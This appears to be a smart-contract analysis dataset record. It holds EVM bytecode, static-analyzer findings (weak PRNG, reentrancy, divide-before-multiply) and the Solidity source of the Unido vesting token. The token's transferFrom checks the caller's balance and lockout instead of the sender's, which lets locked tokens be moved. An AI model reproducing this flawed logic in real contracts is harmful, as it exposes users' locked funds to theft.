b906000526020600020906005020160020181905550336009898154811015156119ca57fe5b906000526020600020906005020160040160016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff16600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015611b6557503373ffffffffffffffffffffffffffffffffffffffff16600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b15611dfb578073ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166005633b9aca00878703811515611bf957fe5b04028473ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1515611d3157600080fd5b6102c65a03f11515611d4257600080fd5b50505060405180519050016000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611dda57600080fd5b6102c65a03f11515611deb57600080fd5b50505060405180519050506120b7565b600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614158015611e6457503373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b156120b65786600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663095ea7b3886005633b9aca00878703811515611f1757fe5b04028473ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e308d6000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1515611ff057600080fd5b6102c65a03f1151561200157600080fd5b50505060405180519050016000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561209957600080fd5b6102c65a03f115156120aa57600080fd5b50505060405180519050505b5b8073ffffffffffffffffffffffffffffffffffffffff1663095ea7b3336005633b9aca008787038115156120e757fe5b04028473ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30336000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15156121c057600080fd5b6102c65a03f115156121d157600080fd5b50505060405180519050016000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561226957600080fd5b6102c65a03f1151561227a57600080fd5b505050604051805190505060008311156122cf578473ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f1935050505015156122ce57600080fd5b5b8373ffffffffffffffffffffffffffffffffffffffff166009898154811015156122f557fe5b9060005260206000209060050201600101547fd2728f908c7e0feb83c6278798370fcb86b62f236c9dbf1a3f541096c2159040846040518082815260200191505060405180910390a38473ffffffffffffffffffffffffffffffffffffffff1660098981548110151561236457fe5b9060005260206000209060050201600101547f66f5cd880edf48cdde6c966e5da0784fcc4c5e85572b8b3b62c4357798d447d7846040518082815260200191505060405180910390a35050505050505050565b60065481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561241857600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561246f57600080fd5b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61249e612dae565b6124a6612dae565b6000806006546040518059106124b95750595b9080825280602002602001820160405250925060009150600090505b600654811015612511578083838151811015156124ee57fe5b9060200190602002018181525050818060010192505080806001019150506124d5565b60008560ff161415156125295761252783612534565b505b829350505050919050565b61253c612dae565b612544612dae565b600061254e612dae565b612556612dae565b600086516040518059106125675750595b90808252806020026020018201604052509450600093505b86518410156125db57836402540be40060098681548110151561259e57fe5b906000526020600020906005020160020154020185858151811015156125c057fe5b9060200190602002018181525050838060010194505061257f565b6125e487610b30565b925082516040518059106125f55750595b90808252806020026020018201604052509150600090505b8251811015612667576402540be400838281518110151561262a57fe5b9060200190602002015181151561263d57fe5b06828281518110151561264c57fe5b9060200190602002018181525050808060010191505061260d565b8195505050505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156126cf57600080fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156127b2576000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600060148282829054906101000a900461ffff160392506101000a81548161ffff021916908361ffff1602179055505b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561283957600080fd5b60009150600090505b60065481101561290a576203f480420360098281548110151561286157fe5b90600052602060002090600502016003015410156128fd5760098181548110151561288857fe5b90600052602060002090600502016000808201600090556001820160009055600282016000905560038201600090556004820160006101000a81549060ff02191690556004820160016101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055505081806001019250505b8080600101915050612842565b816006600082825403925050819055505050565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156129b257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515612a2957806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b612a34612dae565b819050919050565b6000806000915060018351039050612a55838383612bbd565b505050565b600080823b905060008111915050919050565b6000806000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16925067016345785d8a000085811515612aaa57fe5b04915060ff821115612abb5760ff91505b6000905066038d7ea4c6800082028101905064e8d4a51000820281019050633b9aca00820281019050620f42408202810190506103e8820281019050818101905067038ad94d608a88d7811115612b185767038ad94d608a88d790505b8273ffffffffffffffffffffffffffffffffffffffff1663e931fa0c85836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808367ffffffffffffffff1667ffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1515612ba257600080fd5b6102c65a03f11515612bb357600080fd5b5050505050505050565b60008060008484111515612bd057612cda565b849250839150612c298684815181101515612be757fe5b906020019060200201518760018601815181101515612c0257fe5b906020019060200201518885815181101515612c1a57fe5b90602001906020020151612ce2565b90505b600115612cbd575b808684815181101515612c4357fe5b906020019060200201511015612c60578280600101935050612c34565b5b8582815181101515612c6f57fe5b90602001906020020151811015612c8e57818060019003925050612c61565b8282111515612c9c57612cbd565b612ca7868484612d3b565b8280600101935050818060019003925050612c2c565b612ccb868660018603612bbd565b612cd9866001840186612bbd565b5b505050505050565b600082841115612d125781831115612cfc57829050612d34565b818411612d095783612d0b565b815b9050612d34565b81841115612d2257839050612d34565b818311612d2f5782612d31565b815b90505b9392505050565b60008383815181101515612d4b57fe5b9060200190602002015190508382815181101515612d6557fe5b906020019060200201518484815181101515612d7d57fe5b9060200190602002018181525050808483815181101515612d9a57fe5b906020019060200201818152505050505050565b602060405190810160405280600081525090565b60c06040519081016040528060008152602001600081526020016000815260200160008152602001600060ff168152602001600073ffffffffffffffffffffffffffffffffffffffff1681525090565b815481835581811511612e3f57600502816005028360005260206000209182019101612e3e9190612e44565b5b505050565b612ebb91905b80821115612eb7576000808201600090556001820160009055600282016000905560038201600090556004820160006101000a81549060ff02191690556004820160016101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600501612e4a565b5090565b905600a165627a7a7230582099746fc5cf64873286c50df11c7f965667e8632f3d0196bd9442b8035628d2ba0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,201 |
0x159fa0a6e5c2da9613759066163e6f734192a206
|
/**
*Submitted for verification at Etherscan.io on 2021-02-26
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.7.0;
contract Ownable {
address public owner;
address private _nextOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner() {
require(msg.sender == owner, 'Only the owner of the contract can do that');
_;
}
function transferOwnership(address nextOwner) public onlyOwner {
_nextOwner = nextOwner;
}
function takeOwnership() public {
require(msg.sender == _nextOwner, 'Must be given ownership to do that');
emit OwnershipTransferred(owner, _nextOwner);
owner = _nextOwner;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b != 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract UnidoDistribution is Ownable {
using SafeMath for uint256;
// 0 - SEED
// 1 - PRIVATE
// 2 - TEAM
// 3 - ADVISOR
// 4 - ECOSYSTEM
// 5 - LIQUIDITY
// 6 - RESERVE
enum POOL{SEED, PRIVATE, TEAM, ADVISOR, ECOSYSTEM, LIQUIDITY, RESERVE}
mapping (POOL => uint) public pools;
uint256 public totalSupply;
string public constant name = "Unido";
uint256 public constant decimals = 18;
string public constant symbol = "UDO";
address[] public participants;
bool private isActive;
uint256 private scanLength = 150;
uint256 private continuePoint;
uint256[] private deletions;
mapping (address => uint256) private balances;
mapping (address => mapping(address => uint256)) private allowances;
mapping (address => uint256) public lockoutPeriods;
mapping (address => uint256) public lockoutBalances;
mapping (address => uint256) public lockoutReleaseRates;
event Active(bool isActive);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
event Transfer(address indexed from, address indexed to, uint tokens);
event Burn(address indexed tokenOwner, uint tokens);
constructor () {
pools[POOL.SEED] = 15000000 * 10**decimals;
pools[POOL.PRIVATE] = 16000000 * 10**decimals;
pools[POOL.TEAM] = 18400000 * 10**decimals;
pools[POOL.ADVISOR] = 10350000 * 10**decimals;
pools[POOL.ECOSYSTEM] = 14375000 * 10**decimals;
pools[POOL.LIQUIDITY] = 8625000 * 10**decimals;
pools[POOL.RESERVE] = 32250000 * 10**decimals;
totalSupply = pools[POOL.SEED] + pools[POOL.PRIVATE] + pools[POOL.TEAM] + pools[POOL.ADVISOR] + pools[POOL.ECOSYSTEM] + pools[POOL.LIQUIDITY] + pools[POOL.RESERVE];
// Give POLS private sale directly
uint pols = 2000000 * 10**decimals;
pools[POOL.PRIVATE] = pools[POOL.PRIVATE].sub(pols);
balances[address(0xeFF02cB28A05EebF76cB6aF993984731df8479b1)] = pols;
// Give LIQUIDITY pool their half directly
uint liquid = pools[POOL.LIQUIDITY].div(2);
pools[POOL.LIQUIDITY] = pools[POOL.LIQUIDITY].sub(liquid);
balances[address(0xd6221a4f8880e9Aa355079F039a6012555556974)] = liquid;
}
function _isTradeable() internal view returns (bool) {
return isActive;
}
function isTradeable() public view returns (bool) {
return _isTradeable();
}
function setTradeable() external onlyOwner {
require (!isActive, "Can only set tradeable when its not already tradeable");
isActive = true;
Active(true);
}
function setScanLength(uint256 len) external onlyOwner {
scanLength = len;
}
function balanceOf(address tokenOwner) public view returns (uint) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint) {
return allowances[tokenOwner][spender];
}
function spendable(address tokenOwner) public view returns (uint) {
return balances[tokenOwner].sub(lockoutBalances[tokenOwner]);
}
function transfer(address to, uint tokens) public returns (bool) {
require (_isTradeable(), "Contract is not tradeable yet");
require (balances[msg.sender].sub(lockoutBalances[msg.sender]) >= tokens, "Must have enough spendable tokens");
require (tokens > 0, "Must transfer non-zero amount");
require (to != address(0), "Cannot send to the 0 address");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(msg.sender, spender, allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function approve(address spender, uint tokens) public returns (bool) {
_approve(msg.sender, spender, tokens);
return true;
}
function _approve(address owner, address spender, uint tokens) internal {
require (owner != address(0), "Cannot approve from the 0 address");
require (spender != address(0), "Cannot approve the 0 address");
allowances[owner][spender] = tokens;
Approval(owner, spender, tokens);
}
function burn(uint tokens) public {
require (balances[msg.sender].sub(lockoutBalances[msg.sender]) >= tokens, "Must have enough spendable tokens");
require (tokens > 0, "Must burn non-zero amount");
balances[msg.sender] = balances[msg.sender].sub(tokens);
totalSupply = totalSupply.sub(tokens);
Burn(msg.sender, tokens);
}
function transferFrom(address from, address to, uint tokens) public returns (bool) {
require (_isTradeable(), "Contract is not trading yet");
require (balances[msg.sender].sub(lockoutBalances[msg.sender]) >= tokens, "Must have enough spendable tokens");
require (allowances[from][msg.sender] >= tokens, "Must be approved to spend that much");
require (tokens > 0, "Must transfer non-zero amount");
require (from != address(0), "Cannot send from the 0 address");
require (to != address(0), "Cannot send to the 0 address");
balances[from] = balances[from].sub(tokens);
balances[to] = balances[to].add(tokens);
allowances[from][msg.sender] = allowances[from][msg.sender].sub(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function addParticipants(POOL pool, address[] calldata _participants, uint256[] calldata _stakes) external onlyOwner {
require (pool >= POOL.SEED && pool <= POOL.RESERVE, "Must select a valid pool");
require (_participants.length == _stakes.length, "Must have equal array sizes");
uint lockoutPeriod;
uint lockoutReleaseRate;
if (pool == POOL.SEED) {
lockoutPeriod = 1;
lockoutReleaseRate = 6;
} else if (pool == POOL.PRIVATE) {
lockoutReleaseRate = 4;
} else if (pool == POOL.TEAM) {
lockoutPeriod = 12;
lockoutReleaseRate = 12;
} else if (pool == POOL.ADVISOR) {
lockoutPeriod = 6;
lockoutReleaseRate = 6;
} else if (pool == POOL.ECOSYSTEM) {
lockoutPeriod = 3;
lockoutReleaseRate = 9;
} else if (pool == POOL.LIQUIDITY) {
lockoutReleaseRate = 1;
lockoutPeriod = 1;
} else if (pool == POOL.RESERVE) {
lockoutReleaseRate = 18;
}
uint256 sum;
uint256 len = _participants.length;
for (uint256 i = 0; i < len; i++) {
address p = _participants[i];
require(lockoutBalances[p] == 0, "Participants can't be involved in multiple lock ups simultaneously");
participants.push(p);
lockoutBalances[p] = _stakes[i];
balances[p] = balances[p].add(_stakes[i]);
lockoutPeriods[p] = lockoutPeriod;
lockoutReleaseRates[p] = lockoutReleaseRate;
sum = sum.add(_stakes[i]);
}
require(sum <= pools[pool], "Insufficient amount left in pool for this");
pools[pool] = pools[pool].sub(sum);
}
function finalizeParticipants(POOL pool) external onlyOwner {
uint leftover = pools[pool];
pools[pool] = 0;
totalSupply = totalSupply.sub(leftover);
}
/**
* For each account with an active lockout, if their lockout has expired
* then release their lockout at the lockout release rate
* If the lockout release rate is 0, assume its all released at the date
* Only do max 100 at a time, call repeatedly which it returns true
*/
function updateRelease() external onlyOwner returns (bool) {
uint scan = scanLength;
uint len = participants.length;
uint continueAddScan = continuePoint.add(scan);
for (uint i = continuePoint; i < len && i < continueAddScan; i++) {
address p = participants[i];
if (lockoutPeriods[p] > 0) {
lockoutPeriods[p]--;
} else if (lockoutReleaseRates[p] > 0) {
uint rate = lockoutReleaseRates[p];
uint release;
if (rate == 18) {
// First release of reserve is 12.5%
release = lockoutBalances[p].div(8);
} else {
release = lockoutBalances[p].div(lockoutReleaseRates[p]);
}
lockoutBalances[p] = lockoutBalances[p].sub(release);
lockoutReleaseRates[p]--;
} else {
deletions.push(i);
}
}
continuePoint = continuePoint.add(scan);
if (continuePoint >= len) {
continuePoint = 0;
while (deletions.length > 0) {
uint index = deletions[deletions.length-1];
deletions.pop();
participants[index] = participants[participants.length - 1];
participants.pop();
}
return false;
}
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106101a85760003560e01c806360536172116100f9578063a457c2d711610097578063c36d16a911610071578063c36d16a914610578578063dd62ed3e14610595578063f2fde38b146105c3578063fb87a635146105e9576101a8565b8063a457c2d714610518578063a9059cbb14610544578063c1cda90214610570576101a8565b80638da5cb5b116100d35780638da5cb5b146104bc57806395d89b41146104c457806398fd6108146104cc578063a219fdd6146104f2576101a8565b8063605361721461046857806363ae9f6e1461047057806370a0823114610496576101a8565b806323b872dd11610166578063395093511161014057806339509351146103f157806342966c681461041d57806344fa7b241461043a5780635db5f57b14610442576101a8565b806323b872dd1461037a578063313ce567146103b057806335c1d349146103b8576101a8565b8062ab73e2146101ad57806306fdde03146101cf578063095ea7b31461024c57806318160ddd1461028c5780631b4c84d2146102a657806321563ebd146102ae575b600080fd5b6101cd600480360360208110156101c357600080fd5b503560ff16610609565b005b6101d76106c2565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102115781810151838201526020016101f9565b50505050905090810190601f16801561023e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102786004803603604081101561026257600080fd5b506001600160a01b0381351690602001356106e3565b604080519115158252519081900360200190f35b6102946106f9565b60408051918252519081900360200190f35b6102786106ff565b6101cd600480360360608110156102c457600080fd5b60ff82351691908101906040810160208201356401000000008111156102e957600080fd5b8201836020820111156102fb57600080fd5b8035906020019184602083028401116401000000008311171561031d57600080fd5b91939092909160208101903564010000000081111561033b57600080fd5b82018360208201111561034d57600080fd5b8035906020019184602083028401116401000000008311171561036f57600080fd5b50909250905061070f565b6102786004803603606081101561039057600080fd5b506001600160a01b03813581169160208101359091169060400135610b7a565b610294610ea3565b6103d5600480360360208110156103ce57600080fd5b5035610ea8565b604080516001600160a01b039092168252519081900360200190f35b6102786004803603604081101561040757600080fd5b506001600160a01b038135169060200135610ecf565b6101cd6004803603602081101561043357600080fd5b5035610f0a565b610278611037565b6102946004803603602081101561045857600080fd5b50356001600160a01b0316611362565b6101cd611374565b6102946004803603602081101561048657600080fd5b50356001600160a01b031661141e565b610294600480360360208110156104ac57600080fd5b50356001600160a01b0316611430565b6103d561144b565b6101d761145a565b610294600480360360208110156104e257600080fd5b50356001600160a01b0316611479565b6102946004803603602081101561050857600080fd5b50356001600160a01b031661148b565b6102786004803603604081101561052e57600080fd5b506001600160a01b0381351690602001356114be565b6102786004803603604081101561055a57600080fd5b506001600160a01b0381351690602001356114f4565b6101cd611708565b6101cd6004803603602081101561058e57600080fd5b50356117d7565b610294600480360360408110156105ab57600080fd5b506001600160a01b0381358116916020013516611825565b6101cd600480360360208110156105d957600080fd5b50356001600160a01b0316611850565b610294600480360360208110156105ff57600080fd5b503560ff166118bb565b6000546001600160a01b031633146106525760405162461bcd60e51b815260040180806020018281038252602a815260200180611bdb602a913960400191505060405180910390fd5b60006002600083600681111561066457fe5b600681111561066f57fe5b815260200190815260200160002054905060006002600084600681111561069257fe5b600681111561069d57fe5b81526020810191909152604001600020556003546106bb90826118cd565b6003555050565b60405180604001604052806005815260200164556e69646f60d81b81525081565b60006106f0338484611992565b50600192915050565b60035481565b6000610709611a94565b90505b90565b6000546001600160a01b031633146107585760405162461bcd60e51b815260040180806020018281038252602a815260200180611bdb602a913960400191505060405180910390fd5b600085600681111561076657fe5b101580156107805750600685600681111561077d57fe5b11155b6107d1576040805162461bcd60e51b815260206004820152601860248201527f4d7573742073656c65637420612076616c696420706f6f6c0000000000000000604482015290519081900360640190fd5b828114610825576040805162461bcd60e51b815260206004820152601b60248201527f4d757374206861766520657175616c2061727261792073697a65730000000000604482015290519081900360640190fd5b6000808087600681111561083557fe5b141561084757506001905060066108f8565b600187600681111561085557fe5b1415610863575060046108f8565b600287600681111561087157fe5b14156108825750600c9050806108f8565b600387600681111561089057fe5b14156108a1575060069050806108f8565b60048760068111156108af57fe5b14156108c157506003905060096108f8565b60058760068111156108cf57fe5b14156108e0575060019050806108f8565b60068760068111156108ee57fe5b14156108f8575060125b600085815b81811015610a9e57600089898381811061091357fe5b905060200201356001600160a01b03169050600c6000826001600160a01b03166001600160a01b03168152602001908152602001600020546000146109895760405162461bcd60e51b8152600401808060200182810382526042815260200180611b346042913960600191505060405180910390fd5b600480546001810182556000919091527f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b0180546001600160a01b0319166001600160a01b0383161790558787838181106109e057fe5b6001600160a01b0384166000908152600c602090815260409091209102929092013590915550610a3d888884818110610a1557fe5b6001600160a01b03851660009081526009602090815260409091205493910201359050611a9d565b6001600160a01b038216600090815260096020908152604080832093909355600b8152828220899055600d905220859055610a93888884818110610a7d57fe5b9050602002013585611a9d90919063ffffffff16565b9350506001016108fd565b50600260008a6006811115610aaf57fe5b6006811115610aba57fe5b815260200190815260200160002054821115610b075760405162461bcd60e51b8152600401808060200182810382526029815260200180611c276029913960400191505060405180910390fd5b610b4382600260008c6006811115610b1b57fe5b6006811115610b2657fe5b8152602001908152602001600020546118cd90919063ffffffff16565b600260008b6006811115610b5357fe5b6006811115610b5e57fe5b8152602081019190915260400160002055505050505050505050565b6000610b84611a94565b610bd5576040805162461bcd60e51b815260206004820152601b60248201527f436f6e7472616374206973206e6f742074726164696e67207965740000000000604482015290519081900360640190fd5b336000908152600c60209081526040808320546009909252909120548391610bfd91906118cd565b1015610c3a5760405162461bcd60e51b8152600401808060200182810382526021815260200180611bba6021913960400191505060405180910390fd5b6001600160a01b0384166000908152600a60209081526040808320338452909152902054821115610c9c5760405162461bcd60e51b8152600401808060200182810382526023815260200180611b766023913960400191505060405180910390fd5b60008211610cf1576040805162461bcd60e51b815260206004820152601d60248201527f4d757374207472616e73666572206e6f6e2d7a65726f20616d6f756e74000000604482015290519081900360640190fd5b6001600160a01b038416610d4c576040805162461bcd60e51b815260206004820152601e60248201527f43616e6e6f742073656e642066726f6d20746865203020616464726573730000604482015290519081900360640190fd5b6001600160a01b038316610da7576040805162461bcd60e51b815260206004820152601c60248201527f43616e6e6f742073656e6420746f207468652030206164647265737300000000604482015290519081900360640190fd5b6001600160a01b038416600090815260096020526040902054610dca90836118cd565b6001600160a01b038086166000908152600960205260408082209390935590851681522054610df99083611a9d565b6001600160a01b038085166000908152600960209081526040808320949094559187168152600a82528281203382529091522054610e3790836118cd565b6001600160a01b038086166000908152600a60209081526040808320338085529083529281902094909455835186815293519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35060019392505050565b601281565b60048181548110610eb557fe5b6000918252602090912001546001600160a01b0316905081565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916106f0918590610f059086611a9d565b611992565b336000908152600c60209081526040808320546009909252909120548291610f3291906118cd565b1015610f6f5760405162461bcd60e51b8152600401808060200182810382526021815260200180611bba6021913960400191505060405180910390fd5b60008111610fc4576040805162461bcd60e51b815260206004820152601960248201527f4d757374206275726e206e6f6e2d7a65726f20616d6f756e7400000000000000604482015290519081900360640190fd5b33600090815260096020526040902054610fde90826118cd565b33600090815260096020526040902055600354610ffb90826118cd565b60035560408051828152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a250565b600080546001600160a01b031633146110815760405162461bcd60e51b815260040180806020018281038252602a815260200180611bdb602a913960400191505060405180910390fd5b6006546004546007546000906110979084611a9d565b6007549091505b82811080156110ac57508181105b15611245576000600482815481106110c057fe5b60009182526020808320909101546001600160a01b0316808352600b90915260409091205490915015611112576001600160a01b0381166000908152600b60205260409020805460001901905561123c565b6001600160a01b0381166000908152600d602052604090205415611206576001600160a01b0381166000908152600d602052604081205490601282141561117e576001600160a01b0383166000908152600c602052604090205461117790600861192a565b90506111af565b6001600160a01b0383166000908152600d6020908152604080832054600c909252909120546111ac9161192a565b90505b6001600160a01b0383166000908152600c60205260409020546111d290826118cd565b6001600160a01b0384166000908152600c6020908152604080832093909355600d90522080546000190190555061123c9050565b600880546001810182556000919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee3018290555b5060010161109e565b506007546112539084611a9d565b600781905582116113585760006007555b6008541561134c576008805460009190600019810190811061128257fe5b90600052602060002001549050600880548061129a57fe5b600190038181906000526020600020016000905590556004600160048054905003815481106112c557fe5b600091825260209091200154600480546001600160a01b0390921691839081106112eb57fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600480548061132457fe5b600082815260209020810160001990810180546001600160a01b031916905501905550611264565b6000935050505061070c565b6001935050505090565b600d6020526000908152604090205481565b6001546001600160a01b031633146113bd5760405162461bcd60e51b8152600401808060200182810382526022815260200180611c056022913960400191505060405180910390fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b600b6020526000908152604090205481565b6001600160a01b031660009081526009602052604090205490565b6000546001600160a01b031681565b6040518060400160405280600381526020016255444f60e81b81525081565b600c6020526000908152604090205481565b6001600160a01b0381166000908152600c602090815260408083205460099092528220546114b8916118cd565b92915050565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916106f0918590610f0590866118cd565b60006114fe611a94565b61154f576040805162461bcd60e51b815260206004820152601d60248201527f436f6e7472616374206973206e6f7420747261646561626c6520796574000000604482015290519081900360640190fd5b336000908152600c6020908152604080832054600990925290912054839161157791906118cd565b10156115b45760405162461bcd60e51b8152600401808060200182810382526021815260200180611bba6021913960400191505060405180910390fd5b60008211611609576040805162461bcd60e51b815260206004820152601d60248201527f4d757374207472616e73666572206e6f6e2d7a65726f20616d6f756e74000000604482015290519081900360640190fd5b6001600160a01b038316611664576040805162461bcd60e51b815260206004820152601c60248201527f43616e6e6f742073656e6420746f2074686520302061646472657373000000